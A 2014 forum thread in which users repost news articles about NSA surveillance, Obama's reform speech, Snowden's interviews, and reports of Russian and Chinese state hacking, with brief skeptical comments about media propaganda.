http://www.huffingtonpost.com/2014/01/18/nsa-tech-industry_n_4623855.html?utm_hp_ref=technology

Tech Industry Finds Obama's NSA Reforms 'Insufficient'

AP  |  By By MICHAEL LIEDTKE and BARBARA ORTUTAY
Posted: 01/18/2014 1:45 pm EST  |  Updated: 01/18/2014 7:43 pm EST


SAN FRANCISCO (AP) — Technology companies and industry groups took President Barack Obama's speech on U.S. surveillance as a step in the right direction, but chided him for not embracing more dramatic reforms to protect people's privacy and the economic interests of American companies that generate most of their revenue overseas.

"The president's speech was empathetic, balanced and thoughtful, but insufficient to meet the real needs of our globally connected world and a free Internet," said Ed Black, president of the Computer & Communications Industry Association, a group that represents Google, Microsoft, Facebook and other technology companies upset about the NSA's broad surveillance of online communications.

On Friday, the president called for ending the government's control of phone data from hundreds of millions of Americans and ordered intelligence agencies to get a court's permission before accessing such records. He also issued a directive that intelligence-gathering can't be employed to suppress criticism of the United States or provide a competitive advantage to U.S. companies.

In addition, the president directed Attorney General Eric Holder and Director of National Intelligence James Clapper to consider whether new privacy safeguards could be added to online data gathering. Although those activities are only meant to target people outside the U.S. as part of national security investigations, information on Americans sometimes gets swept up in the collection.

Eight of the world's best-known technology companies underscored their common interest in curbing the NSA by releasing a joint, measured critique of Obama's proposal. They applauded the commitment to more transparency and more privacy protections for non-U.S. citizens, but also stressed that the president didn't address all their concerns.

"Additional steps are needed on other important issues, so we'll continue to work with the administration and Congress to keep the momentum going and advocate for reforms consistent with the principles we outlined in December," said the statement from Google, Apple, Yahoo, Microsoft, Facebook, Twitter, LinkedIn and AOL.

In his speech, Obama also directed Holder and Clapper to look into new restrictions on the length of time the U.S. can hold data collected overseas and the extent to which that data is used. He added that the U.S. won't spy on regular people who don't threaten national security.

But nothing he said is likely to diminish the potential losses facing the U.S. technology industry, said Daniel Castro, a senior analyst for the Information Technology and Innovation Foundation, a Washington D.C. think tank.

The ITIF estimates that the doubts raised by the NSA spying could cost U.S. companies as much as $35 billion over the next three years.

In the aftermath of recent NSA leaks, the companies set aside their competitive differences to come together and urge Obama to curtail the NSA's online snooping and lift restrictions that prevent companies from publicly disclosing specifics about how frequently they are asked to turn over their users' personal information in the name of national security.

Obama did agree to at least one major concession to the technology industry by pledging "to make public more information than ever before about the orders they have received to provide data to the government." The companies are hoping greater transparency will show that the U.S. government has only been demanding information about a very small fraction of their vast audiences.

But the promise of more disclosure didn't satisfy two different groups focused on online privacy and other digital rights.

"Far more needs to be done to restore the faith of the American people and repair the damage done globally to the U.S. reputation as a defender of human rights on the Internet," said Greg Nojeim, senior counsel at the Center for Democracy & Technology.

Cindy Cohn, legal director for the Electronic Frontier Foundation believes there's still a long way to go. "Now it's up to the courts, Congress, and the public to ensure that real reform happens, including stopping all bulk surveillance — not just telephone records collection," she said.

Recent revelations about how much information the U.S. government has been vacuuming off the Internet threaten to undercut the future profits of technology companies that depend on the trust of Web surfers and corporate customers.

U.S. Internet companies are worried that more people, especially those living outside the U.S., will use their products less frequently if they believe their personal data is being scooped up and stored by the U.S. government.

Less online traffic would result in fewer opportunities to sell the ads that bring in most of the revenue at companies such as Google, Facebook and Yahoo. There is also concern that foreigners will be reluctant to do business with a wide range of U.S. companies that sell online storage and software applications that require an Internet connection.

Obama's proposal made "progress on the privacy side, but it doesn't address the economic issues," Castro said. "I don't see anything in the speech that will prevent companies in other countries from using what the NSA is doing to gain a competitive advantage over the U.S. companies."

__

Ortutay reported from New York.

Disclosure: The Huffington Post is owned by AOL. While this story was written and reported by the Associated Press, The Huffington Post provided headlines and photo selection.
Title: Re: they know what you are doing
Post by: robomont on January 20, 2014, 03:46:39 pm
No offence intended sky but huffpo is a propaganda site.if someone believes what olbummer has to say.i got a bridge i want to sell them.
The sad part is huffington sold huffpo and it went down hill.now she is joining bill gates to start an alternative news agency to challenge aj using free reporters.she uses people and profits.it was announced about a month ago.

Otherwise i love your thread.
Title: Re: they know what you are doing
Post by: sky otter on January 20, 2014, 03:52:21 pm

hey robo.. yeah i know.. aol bought it and i really don't like them

but i try not to comment (haven't been real succesful..sigh)
and just keep track of all the bs articles that are being tossed at us..
you see how long this damn thing is?..
it's all bs...there aren't going to be any changes
there is no privacy or anything else.. we are just renting a spot here by paying taxes and such

so the real thing is to look at it and go live your life learning how to get the hell outta the meat suit permentarly..lol  talk to matrix.. ;)

hugs bro
 ;D

Title: Re: they know what you are doing
Post by: sky otter on January 21, 2014, 09:46:52 pm


http://www.newyorker.com/online/blogs/newsdesk/2014/01/snowden-calls-russian-spy-story-absurd.html?utm_source=tny&utm_campaign=generalsocial&utm_medium=twitter

Snowden Calls Russian-Spy Story “Absurd”

Posted by Jane Mayer
January 21, 2014



Edward J. Snowden, the former National Security Agency contractor turned whistleblower, strongly denies allegations made by members of Congress that he was acting as a spy, perhaps for a foreign power, when he took hundreds of thousands of classified U.S. government documents. Speaking from Moscow, where he is a fugitive from American justice, Snowden told The New Yorker, “This ‘Russian spy’ push is absurd.”

On NBC’s “Meet The Press,” Mike Rogers, a Republican congressman from Michigan who is the chairman of the House Intelligence Committee, described Snowden as a “thief, who we believe had some help.” The show’s host, David Gregory, interjected, “You think the Russians helped Ed Snowden?” Rogers replied that he believed it was neither “coincidence” nor “a gee-whiz luck event that he ended up in Moscow under the handling of the F.S.B.”

Snowden, in a rare interview that he conducted by encrypted means from Moscow, denied

the allegations outright, stressing that he “clearly and unambiguously acted alone, with no assistance from anyone, much less a government.” He added, “It won’t stick…. Because it’s clearly false, and the American people are smarter than politicians think they are.”

If he was a Russian spy, Snowden asked, “Why Hong Kong?” And why, then, was he “stuck in the airport forever” when he reached Moscow? (He spent forty days in the transit zone of Sheremetyevo International Airport.) “Spies get treated better than that.”

In the nine months since Snowden first surfaced, there has been intense speculation about his motives and methods. But “a senior F.B.I. official said on Sunday that it was still the bureau’s conclusion that Mr. Snowden acted alone,” the New York Times reported this weekend, adding that the agency has not publicly revealed any evidence that he was working in conjunction with any foreign intelligence agency or government. The issue is key to shaping the public’s perceptions of Snowden. Congressman Rogers, on “Meet the Press,” went on to allege that “some of the things he did were beyond his technical capabilities. Raises more questions. How he arranged travel before he left. How he was ready to go—he had a go bag, if you will.” Gregory then asked Senator Dianne Feinstein, a Democrat from California who chairs the Senate Intelligence Committee, and who was also a guest on the show, whether she agreed that Snowden may have had help from the Russians. She did not dismiss the notion. “He may well have,” she said. “We don’t know at this stage.” On CBS’s “Face the Nation,” Rogers made similar allegations, saying, “This wasn’t a random smash and grab, run down the road, end up in China, the bastion of Internet freedom, and then Russia, of course, the bastion of Internet freedom.”

Asked today to elaborate on his reasons for alleging that Snowden “had help,” Congressman Rogers, through a press aide, declined to comment.

An aide to Senator Feinstein, meanwhile, stressed that she did no more than ask questions. “Senator Feinstein said, ‘We don’t know at this stage.’ In light of the comments from Chairman Rogers, it is reasonable for Senator Feinstein to say that we should find out.”

Some observers, looking at the possibility that Snowden was in league with the Russian government before taking asylum there, have pointed to a report in a Russian newspaper, Kommersant, that before leaving Hong Kong last June Snowden stayed at the Russian consulate. Snowden’s legal adviser, Ben Wizner, a lawyer with the American Civil Liberties Union, denied that report, however, saying, “Every news organization in the world has been trying to confirm that story. They haven’t been able to, because it’s false.”

Snowden told me that having a “go bag” packed—something that Rogers described as highly suspicious—reflected his work deployed overseas for the C.I.A. He’d had a “go bag packed since 2007. It’s not an exotic practice for people who have lived undercover on government orders,” Snowden said.

“It’s not the smears that mystify me,” Snowden told me. “It’s that outlets report statements that the speakers themselves admit are sheer speculation.” Snowden went on to poke fun at the range of allegations that have been made against him in the media without intelligence officials providing some kind of factual basis: “?‘We don’t know if he had help from aliens.’ ‘You know, I have serious questions about whether he really exists.’?”

Snowden went on, “It’s just amazing that these massive media institutions don’t have any sort of editorial position on this. I mean these are pretty serious allegations, you know?” He continued, “The media has a major role to play in American society, and they’re really abdicating their responsibility to hold power to account.”

Asked about this, George Stephanopoulos, the host of ABC’s “This Week,” defended the coverage. Stephanopoulos pointed out that when the congressman Michael McCaul, a Texas Republican and the chairman of the House Homeland Security Committee, alleged that Snowden was “cultivated by a foreign power” and “helped by others,” Stephanopoulos pressed him for details, twice. “I did two follow-ups,” Stephanopoulos said, “and got as much as the congressman was going to give up.”

From Moscow, Snowden explained that “Russia was never intended” to be his place of asylum, but he “was stopped en route.” He said, “I was only transiting through Russia. I was ticketed for onward travel via Havana—a planeload of reporters documented the seat I was supposed to be in—but the State Department decided they wanted me in Moscow, and cancelled my passport.”

As for why he remains there, he said, “When we were talking about possibilities for asylum in Latin America, the United States forced down the Bolivian President’s plane.” If he could travel without U.S. interference, “I would of course do so.”

Snowden was adamant that he wants to help, not hurt, the United States. “Due to extraordinary planning involved, in nine months, no one has credibly shown any harm to national security” from the revelations, he said, “nor any ill intent.” Moreover, he pointed out that “the President himself admitted both that changes are necessary and that he is certain the debate my actions started will make us stronger.”

“If any individual who objects to government policy can take it into their own hands to publicly disclose classified information, then we will not be able to keep our people safe, or conduct foreign policy,” Obama said on Friday. “Moreover, the sensational way in which these disclosures have come out has often shed more heat than light, while revealing methods to our adversaries that could impact our operations in ways that we may not fully understand for years to come.” And Obama told David Remnick, in an interview for The New Yorker, that the leaks “put people at risk” and that, in his view, the benefit of the debate Snowden generated “was not worth the damage done, because there was another way of doing it.”

In the end, Snowden said that he “knew what he was getting into” when he became a whistleblower. “At least the American public has a seat at the table now,” he said. “It may sound trite,” but if “I end up disgraced in a ditch somewhere, but it helps the country, it will still be worth it.”


Title: Re: they know what you are doing
Post by: burntheships on January 21, 2014, 11:02:16 pm

and just keep track of all the bs articles that are being tossed at us..


And I might add your doing awesome job tracking all this stuff
skyotter. At any given time, anyone of these MSM sites
is propaganda of one sort or another. I will adimit
a few are the worst offenders...like MSN.


Quote
so the real thing is to look at it and go live your life learning how to get the hell outta the meat suit permentarly..lol  talk to matrix.. ;)

Well, thankfully this does eventually happen!

 ;D

Till then, guess we are bound here, might
as well enjoy it best we can.


Title: Re: they know what you are doing
Post by: sky otter on January 22, 2014, 08:52:35 am

hi bts.. yeah we hafta do the best we can as we read this.. and wonder what is actual and what is bs...the time it takes to shift thur it all  is a good enough reason why most just don't bother
sigh




Quote
It won’t stick…. Because it’s clearly false, and the American people are smarter than politicians think they are.”


this may be true ..but the big problem is getting anyone to really care...
Title: Re: they know what you are doing
Post by: sky otter on January 22, 2014, 07:49:24 pm




http://news.msn.com/science-technology/russia-hacked-hundreds-of-firms-globally-report-says

Russia hacked hundreds of firms globally, report says

The allegations made by CrowdStrike are the first linking the Russian government to cyber intrusions on companies.

WASHINGTON — A U.S. cybersecurity firm says it has gathered evidence that the Russian government spied on hundreds of American, European and Asian companies, the first time Moscow has been linked to cyber attacks for alleged economic - rather than political - gains.

According to the firm, CrowdStrike, the victims of the previously unreported cyber espionage campaign include energy and technology firms, some of which have lost valuable intellectual property.

CrowdStrike declined to go into detail about those losses or to name any victims, citing confidentiality agreements related to its investigation.


Related: Snowden denies he worked as a spy for Russia

http://news.msn.com/world/snowden-denies-suggestions-he-worked-as-spy-for-russia?ocid=msnnws


Snowden denies suggestions he worked as spy for Russia
In an interview the magazine said was conducted by encrypted means from Moscow, Snowden was quoted as saying, "This 'Russian spy' push is absurd."





Officials with the Russian Interior Ministry could not be reached for comment early on Wednesday in Moscow.

"These attacks appear to have been motivated by the Russian government's interest in helping its industry maintain competitiveness in key areas of national importance," Dmitri Alperovitch, chief technology officer of CrowdStrike, told Reuters on Tuesday evening.

Cybersecurity researchers have in the past said that China's government was behind cyber espionage campaigns against various corporations dating back as far as 2005, but China has vehemently denied those allegations. Alperovitch said this is the first time the Russian government has been linked to cyber intrusions on companies.



Governments have been using computer networks to spy on each other for more than 30 years in the type of surveillance programs conducted by virtually every nation, according to CrowdStrike. It is only in the past decade that some nations have started using cyber espionage as a platform for gaining data to help promote their national economic interests, according to Alperovitch.

CrowdStrike has been following the activities of the Russian group of hackers, which it dubbed "Energetic Bear," for two years. The firm believes the Russian government is behind the campaign because of technical indicators, as well as analysis of the targets chosen and the data stolen, according to Alperovitch.

"We are very confident about this," he said. Victims include European energy companies, defense contractors, technology companies and government agencies, according to the CrowdStrike report.

Manufacturing and construction firms in the United States, Europe and Middle East as well as U.S. healthcare providers were also cited as targets in the report that was posted on the web early on Wednesday morning, http://www.crowdstrike.com/global-threat/.

CrowdStrike described the activities of the Energetic Bear hackers in its annual cyber threat report, released on Wednesday. It also documented attacks by hacking groups in China and Iran and described the activities of the activist Syrian Electronic Army.

Alperovitch, who is of Russian ethnic origin and now lives in the Washington, D.C., area, is an expert on cyber espionage who rose to prominence while working for McAfee Inc. While there he managed a team of researchers who produced a landmark January 2010 report that described how Chinese hackers had launched an unprecedented series of attacks known as "Operation Aurora" on Google Inc and dozens of other companies.

In 2012, he co-founded CrowdStrike, which collects intelligence about the activities of hacking groups around the world and sells software to thwart such attacks.

He told Reuters that the data his firm has obtained about Energetic Bear suggests that authorities in Moscow have decided to start using cyber espionage to promote Russia's national economic interests.

"They are copying the Chinese play book," he said. "Cyber espionage is very lucrative for economic benefit to a nation."

Additional reporting by Megan Davies in Moscow





Related: US security firm alleges massive Chinese hacking

http://news.msn.com/world/us-security-firm-alleges-massive-chinese-hacking?ocid=msnnws



Mandiant Corp. has produced a report claiming that the Chinese military has been cyberspying on U.S. and foreign companies and government agencies, a claim the Chinese deny.

BEIJING — Cyberattacks that stole information from 141 targets in the U.S. and other countries have been traced to a Chinese military unit in a drab office building in the outskirts of Shanghai, a U.S. security firm alleged Tuesday. China dismissed the report as "groundless."

The report by the Virginia-based Mandiant Corp.  https://www.mandiant.com/   is the most explicit suggestion yet by a Western security company that China's military might be directly linked to a wave of cyberspying against U.S. and other foreign companies and government agencies.

Mandiant said it has traced the massive amount of hacking back to a 12-story office building run by "Unit 61398" of the People's Liberation Army, and that the attacks targeted key industries including military contractors and companies that control energy grids.

The unit "has systematically stolen hundreds of terabytes of data from at least 141 organizations," Mandiant wrote.

"From our observations, it is one of the most prolific cyberespionage groups in terms of the sheer quantity of information stolen," the company said, adding that the unit has been in operation since at least 2006.

Chinese Foreign Ministry spokesman Hong Lei did not directly address the claims, but when questioned on the report Tuesday, he said he doubted the evidence would withstand scrutiny.

"To make groundless accusations based on some rough material is neither responsible nor professional," Hong told reporters at a regularly scheduled news conference.

In a reiteration of China's standard response to such accusations, Hong said China strictly outlaws hacking and said the country itself was a major victim of such crimes, including attacks originating in the United States.



"As of now, the cyberattacks and cybercrimes China has suffered are rising rapidly every year," Hong said.

China has frequently been accused of hacking, but the Mandiant report contains some of the most extensive and detailed accusations made public so far. The group said its findings led it to alter the conclusion of its earlier 2010 report on Chinese hacking, in which it said it was not possible to determine the extent of government knowledge of such activities.

"The details we have analyzed during hundreds of investigations convince us that the groups conducting these activities are based primarily in China and that the Chinese government is aware of them," the company said in a summary of its latest report.

It said the hacking was traced to the 2nd Bureau of the People's Liberation Army General Staff's 3rd Department, most commonly known as unit 61398, in the Shanghai suburbs.

China's Defense Ministry did not immediately respond to faxed questions about the report, although it has in the past labeled such allegations as groundless and irresponsible, and has demanded that evidence be presented.

News of the report spread Tuesday on the Chinese Internet, with many commentators calling it an excuse for the U.S. to impose greater restrictions to contain China's growing technological prowess.


you guys need to check out these two companies.. might be work there for some ;)

http://www.crowdstrike.com

https://www.mandiant.com/


the world has changed already..sigh
Title: Re: they know what you are doing
Post by: sky otter on January 25, 2014, 08:10:44 am


http://www.huffingtonpost.com/2014/01/24/edward-snowden-tech-industry_n_4596162.html?utm_hp_ref=world&utm_hp_ref=world


'Snowden Effect' Threatens U.S. Tech Industry's Global Ambitions

Gerry Smith
Posted: 01/24/2014 5:01 pm EST  |  Updated: 01/24/2014 5:59 pm EST


Election officials in India canceled a deal with Google to improve voter registration. In China, sales of Cisco routers dropped 10 percent in a recent quarter. European regulators threatened to block AT&T's purchase of the wireless provider Vodafone.

The technology industry is being roiled by the so-called Snowden Effect, as disclosures by former National Security Agency contractor Edward Snowden about the extent of American spying worldwide prompt companies to avoid doing business with U.S. firms. The recent setbacks for Google, Cisco and AT&T overseas have been attributed, in part, to the international outcry over the companies' role in the NSA scandal.

Fred Cate, a law professor at Indiana University, said criticism over Silicon Valley's involvement in the government surveillance program was initially limited to European politicians "taking advantage of this moment to beat up on the U.S."

"But the reports from the industry are showing that it is more than that," he added. "This is more than just a flash in the pan. This is really starting to hurt."

The impact of the Snowden leaks could threaten the future architecture of the modern Internet. In recent years, computing power has shifted from individual PCs to the so-called cloud -- massive servers that allow people to access their files from anywhere.

The Snowden revelations undermined trust in U.S.-based cloud services by revealing how some of the largest American tech companies using cloud computing -- including Google and Yahoo -- had their data accessed by the NSA. About 10 percent of non-U.S. companies have canceled contracts with American cloud providers since the NSA spying program was disclosed, according to a survey by the Cloud Security Alliance, an industry group.

U.S. cloud providers could lose as much as $35 billion over the next three years as fears over U.S. government surveillance prompt foreign customers to transfer their data to cloud companies in other countries, according to a study by the Information Technology and Innovation Foundation, a nonpartisan think tank based in Washington, D.C.

"If European cloud customers cannot trust the United States government, then maybe they won't trust U.S. cloud providers either," Neelie Kroes, European commissioner for digital affairs, said last summer after the NSA revelations were made public. "If I am right, there are multibillion-euro consequences for American companies. If I were an American cloud provider, I would be quite frustrated with my government right now."

European officials and companies have been especially troubled by the Snowden leaks because European privacy laws are more stringent than those in the United States.

After documents from Snowden revealed that the NSA had tapped German Chancellor Angela Merkel’s phone calls, she said Europeans should promote domestic Internet companies over American ones in order to avoid U.S. surveillance. German Interior Minister Hans-Peter Friedrich has suggested that people who are worried about government spying should stop using Google and Facebook altogether.

"Whoever fears their communication is being intercepted in any way should use services that don't go through American servers," Friedrich said after Snowden leaked the NSA documents.

Chris Lamoureux, the executive vice president of the company Veriday, told The WorldPost that some of his customers have requested that the company avoid storing their information in U.S.-based data centers, hoping to make it more difficult for the NSA to gain access.

"They've said, 'We don't want you to put our data in the U.S. because we're worried about what we're seeing and hearing over there right now,'" said Lamoureux, whose Ottawa-based company develops web applications for banks, governments and retailers.

Some argue that President Barack Obama has added to the tech industry's troubles abroad by emphasizing how the NSA surveillance program focused on people outside the United States, where most of Silicon Valley's customers are located.

"Those customers, as well as foreign regulatory agencies like those in the European Union, were being led to believe that using US-based services meant giving their data directly to the NSA," journalist Steven Levy wrote in a recent article in Wired magazine.

Hoping to reassure overseas customers, major tech companies (including AOL, which owns The Huffington Post Media Group) have asked the Obama administration for permission to be more open about how they responded to past requests for data from the U.S. government. They argue the government snooped on their networks without their knowledge. Recent reports based on documents provided by Snowden revealed that the NSA spied on Google and Yahoo customers, unbeknownst to the companies, by secretly tapping cables that connect data centers around the world.

"The impression is that the tech industry is in league with the U.S. government," Cate said. "But the industry would like to give the impression that they're victims of the U.S. government, too."

On Wednesday, Microsoft said it would offer customers who are wary about NSA surveillance the ability to store their data outside the United States.

Meanwhile, some foreign tech companies are trying to capitalize on the distrust between U.S. tech firms and their customers around the world. Swisscom, a cloud provider in Switzerland, is developing a service that would attract customers looking to store data under the country's strict privacy laws and away "from the prying eyes of foreign intelligence services," Reuters reported.

Germany's three largest email providers have also created a new service, called "Email Made in Germany," designed to thwart the NSA by encrypting messages through servers located within the country, The Wall Street Journal reported.

But Cate said that any businesses that try to avoid surveillance by boycotting U.S. tech companies are not really protecting their data from the NSA. After all, intelligence agencies in France and Spain also spied on their own citizens, and passed on that information to the NSA, according to documents from Snowden.

"It doesn't make a difference what you do with your data -- the NSA is going break into it," Cate said. "But that doesn't mean U.S. industry isn't going to get hurt along the way."




tons of embedded links thur the article..at the source
http://www.huffingtonpost.com/2014/01/24/edward-snowden-tech-industry_n_4596162.html?utm_hp_ref=world&utm_hp_ref=world

Title: Re: they know what you are doing
Post by: sky otter on January 26, 2014, 07:48:06 am



http://rt.com/news/snowden-nsa-industrial-interview-208/

NSA is after industrial spying – Snowden to German TV

Published time: January 26, 2014 09:44
Edited time: January 26, 2014 13:23

The NSA agency is not preoccupied solely with national security, but also spies on foreign industrial entities in US business interests, former American intelligence contractor, Edward Snowden, has revealed in an interview to German TV.

Edward Snowden chose the German ARD broadcaster to make his first TV interview ever since he became a whistleblower. The interview was made in strict secrecy in an unspecified location in Russia, where Snowden is currently living under temporary asylum.

“There is no question that the US is engaged in economic spying,” said Snowden, from a teaser aired late on Saturday.
If an industrial giant like Siemens has something that the NSA believes “would be beneficial to the national interests, not the national security, of the United States, they will go after that information and they'll take it,” the whistleblower said, giving an example.

Edward Snowden disavowed participation in any future publications of the documents he withdrew from the NSA databanks, saying in the same interview that he no longer possesses any NSA data. The information has been distributed among a number of trustworthy journalists, who are going to decide for themselves what to make public and in what sequence.

The full 30-minute version will be aired at 11pm local time (22:00 UTC) on Sunday right after prime-time talk show, ‘Günther Jauch’.

The former NSA contractor’s revelations about US global spying activities, including snooping on its closest allies, put transatlantic ties “to the test,” said German Chancellor Angela Merkel last November and demanded that Washington give Germany clarity over the future of the NSA in the country.

Snowden’s revelation hit Berlin particularly hard because Germany is a non-Anglophone country, and therefore is not a member of the ‘Five eyes’ intelligence alliance that incorporates NSA-equivalent agencies in Britain, Canada, Australia and New Zealand, Deutsche Welle points out. While members of the ‘Five eyes’ were exchanging intelligence on a regular basis, Berlin had to consider itself satisfied with less data, while both Washington and London, for example, were blatantly listening to German Chancellor Angela Merkel’s cell phone right in the middle of Germany’s capital.

The Germans - according to polls – have lost confidence in the US as a trustworthy partner, and the majority of them consider NSA whistleblower Edward Snowden a hero.

In order to mend fences, US President Barack Obama made a rare appearance on German TV. On January 18 President Obama told the ZDF TV channel that “As long as I'm president of the United States, the chancellor of Germany will not have to worry about this.”

Yet Germany remains skeptical about US promises of discontinuing spying on foreign leaders, and is in the vanguard of a number of European countries aiming to change data privacy rules in the EU.

Former NSA contractor, Edward Snowden, remains in Russia, where his temporary political asylum status could be extended every year. He has no plans for returning to the US where he would face trial for alleged treason.

“Returning to the US, I think, is the best resolution for the government, the public, and myself, but it’s unfortunately not possible in the face of current whistleblower protection laws, which through a failure in law did not cover national security contractors like myself,” said Snowden during his public Q&A session last Thursday.  



.....................................


http://abcnews.go.com/International/wireStory/german-tv-snowden-nsa-spies-industry-21971023



German TV: Snowden Says NSA Also Spies on Industry


BERLIN January 26, 2014 (AP)
Former NSA contractor Edward Snowden claims in a new interview that the U.S. agency is involved in industrial espionage.

German public television broadcaster ARD released a written statement before an interview airing Sunday night in which it quotes Snowden as saying that if German engineering company Siemens had information that would benefit the United States — but had nothing to do with national security needs — the National Security Agency would still use it.

ARD did not give any further context and it was not clear what exactly Snowden accused the NSA of doing with such information.

Snowden faces felony charges in the U.S. after revealing the NSA's mass surveillance program. He has temporary asylum in Russia.



.......................................



http://www.dw.de/snowden-nsa-economic-espionage-claim-broadcast-as-teaser-to-first-tv-interview/a-17387469

video at this link


NSA Scandal

Snowden NSA economic espionage claim broadcast as teaser to first TV interview


German public broadcaster ARD will air a half-hour interview with NSA contractor turned whistleblower Edward Snowden on Sunday. The first snippet, aired late Saturday, accuses the NSA of conducting industrial espionage.

The first extract of Edward Snowden's first television interview since laying a string of NSA practices bare last summer were broadcast on ARD on Saturday night, ahead of Sunday's full-length interview conducted by ARD's regional NDR partner.

"I don't want to pre-empt the editorial decisions of journalists but what I will say is there is no question that the US is engaged in economic spying," Snowden told veteran NDR journalist Hubert Seipel. "If there is information at Siemens that they think would be beneficial to the national interests, not the national security, of the United States, they will go after that information and they'll take it."

Snowden said that he no longer possessed the NSA data he has helped make public in recent months, saying he had entrusted the material to selected journalists. He also told the public broadcaster that he was no longer playing any part in decisions on what information should be published.

The 30-year-old former intelligence contractor, currently in Russia after being granted temporary asylum, spoke in secret with Seipel in Moscow earlier this week. His first televised interview since turning whistleblower will be broadcast in full at 11 p.m. local time (2200 UTC) on Sunday, with extracts serving as the focal point of discussion in the popular, prime-time panel-based talk show "Günther Jauch" before that.

A tough audience

Germany has been among the more vocal international critics of NSA practices, not least since reports in October that Chancellor Angela Merkel's mobile phone was among the prominent numbers to be tapped. As a non-Anglophone country, Germany is not part of the "five eyes" intelligence alliance incorporating NSA-equivalent agencies in Britain, Canada, Australia and New Zealand.

Allegations of economic espionage had already surfaced in the German press as part of the Snowden-related scandal, including reports of a special listening posts for this purpose at the US and British embassies in Berlin.

US President Barack Obama issued a lengthy address on NSA reforms earlier in January, pledging that the US would cease phone monitoring of their allies' political leaders. He later made a rare appearance on German television, telling public broadcaster ZDF: "As long as I'm president of the United States, the chancellor of Germany will not have to worry about this." Obama will leave office in 2016.

Snowden also went public in an Internet question-and-answer session on the "Free Snowden" website on Thursday, when he said he currently had no intention of returning to the US, saying he doubted his chances of a fair trial. Several reports, most recently in the Washington Post, have said that an amnesty deal was conceivable for the fugitive whistleblower, a claim that US Attorney General Eric Holder refuted on Friday.

msh/jm (AFP, dpa)
Title: Re: they know what you are doing
Post by: sky otter on January 27, 2014, 03:38:59 pm

and today's bunch of stuff..
i think i will finish out the month and stop adding  articles..
just tired of the continuing story...




http://www.bbc.co.uk/news/technology-25911727

27 January 2014 Last updated at 09:08 ET

FBI arrests five over 'hackers for hire' websites

The FBI has arrested five people in connection with what it says are several hacking-for-hire websites.

Two men have been charged with running and three others with being customers of websites that allegedly offered to obtain access to email accounts.

The swoop against the sites was co-ordinated with police forces in Romania, India and China.

Six other alleged administrators of such sites were arrested as part of the overseas element of the operation.

Mark Anthony Townsend and Joshua Alan Tabor, both of Arkansas, have been charged with operating the needapassword.com website that, according the FBI, charged people to find passwords for about 6,000 email accounts.

If the two are found guilty they face up to five years in jail for computer fraud offences.

The other three people have been charged with paying, between them, more than $23,000 (£14,000) to similar hacker-for-hire websites outside the US to find passwords for a wide variety of email accounts.

Paying a hacker to act on your behalf is a "misdemeanour offense" and if found guilty each defendant could go to a federal jail for 12 months.

In a statement, the FBI said it expected all five defendants to plead guilty.

Four people in Romania, one person in India and one in China were also arrested in connection with websites that allegedly offered to obtain a password for any email account for between $100 (£60) and $500 (£300).

More on This Story
Related StoriesFBI warns shops on checkout thefts 24 JANUARY 2014, TECHNOLOGY
JP Morgan in cyber hack warning 05 DECEMBER 2013, BUSINESS
Days of the 'bank job' are numbered 27 DECEMBER 2013, TECHNOLOGY
The gentle art of cracking passwords 01 DECEMBER 2013, TECHNOLOGY


 ....................................



http://www.huffingtonpost.com/2014/01/27/nsa-angry-birds_n_4675310.html



NSA Using Angry Birds, Other Smartphone Apps To Collect Personal Data: Report


AP  |  Posted: 01/27/2014 2:10 pm EST  |  Updated: 01/27/2014 2:59 pm EST

BY THE ASSOCIATED PRESS

LONDON (AP) — Documents leaked by former NSA contactor Edward Snowden suggest that spy agencies have a powerful ally in the apps installed on smartphones across the globe.

The documents, published by The New York Times, the Guardian, and ProPublica, suggest that the mapping, gaming, and social networking apps available on smartphones can feed America's National Security Agency and Britain's GCHQ spy agency with huge amounts of personal data.

Little is known about the scope and scale of the program, but all three publications outlined how data could be harvested from apps such as the Angry Birds game franchise or Google's popular mapping service.

The NSA said Monday it focused on "valid foreign intelligence targets." GCHQ did not immediately return an email seeking comment..


.............................




http://www.cnn.com/2014/01/27/politics/surveillance-tech-companies/index.html?hpt=hp_t2



U.S. to let tech companies release more surveillance data

By Evan Perez, CNN Justice Reporter
updated 5:05 PM EST, Mon January 27, 2014

CNN) -- The Obama administration will allow technology companies to release more information about the number of government surveillance requests for their customer data, according to an agreement announced Monday.

Microsoft, Google, Yahoo, Facebook and Linked-In sued the government last summer in the Foreign Intelligence Surveillance Court seeking to disclose the data as a way to show customers how many snooping requests they receive and are required by court order to comply with. Apple has also made legal filings in support of the companies' lawsuit.

Under the agreement, companies will be allowed to publish broad categories of data on government requests for customer information made via national security letters, and orders made by surveillance court, both for general customer data and for content of customer communications.

The companies will also be allowed to say how many customer accounts are affected. The detail companies can provide will be limited to groups of a thousand, or 250, depending on which option companies choose to use.

The court complaints have been dismissed, a spokeswoman for the companies said in a statement.

"We filed our lawsuits because we believe that the public has a right to know about the volume and types of national security requests we receive," the statement said. "We're pleased the Department of Justice has agreed that we and other providers can disclose this information. While this is a very positive step, we'll continue to encourage Congress to take additional steps to address all of the reforms we believe are needed."

The lawsuit by the companies followed leaks by former National Security Agency contractor Edward Snowden that made public the existence of certain NSA surveillance programs.

The government has fought the corporate request, saying even broad numbers would hurt national security. The companies have argued they should be allowed to publish aggregate data, in part to reassure customers.

The companies contend their businesses are hurt by any perception they are arms of vast government surveillance.

Currently, they can release information on general law-enforcement requests with no specifics.

In a January 17 speech at the Justice Department, President Barack Obama signaled his administration was willing to allow the companies to make data public.

The night before the speech, tech company lawyers met at the White House with lawyers from the Justice Department and intelligence agencies, according to a government official familiar with the meeting.

Deputy Attorney General James Cole, and his chief of staff, David O'Neil, proposed a compromise that prompted the White House to include the issue in the President's speech.

Last Thursday and Friday, the company lawyers and Justice Department officials completed terms of their agreement, the official said.
Title: Re: they know what you are doing
Post by: sky otter on January 29, 2014, 08:02:49 am


lol.. perfect way for me to end this very very long thread..
with an up-yours to the nsa...

not that the peace prize really means anything.. o got one and all he's done is send soldiers

this world is running the wrong way for me going back to the cave and raise lettuce....sigh




http://www.huffingtonpost.com/2014/01/29/snowden-nobel-prize-nomination-norway-politicans_n_4686575.html


Snowden Nominated For Nobel Prize By Norwegian Politicians

01/29/14 06:34 AM ET EST 

STAVANGER, Norway (AP) — Two Norwegian lawmakers say they have jointly nominated former NSA contractor Edward Snowden for the 2014 Nobel Peace Prize.

Socialist lawmakers Baard Vegard Solhjell, a former environment minister, and Snorre Valen said Wednesday the public debate and policy changes "in the wake of Snowden's whistleblowing has contributed to a more stable and peaceful world order."

Being nominated just means Snowden will be one of scores of names that the Nobel committee will consider for the prestigious award.

The five-member panel won't confirm who's been nominated but those who submit nominations sometimes make them public.

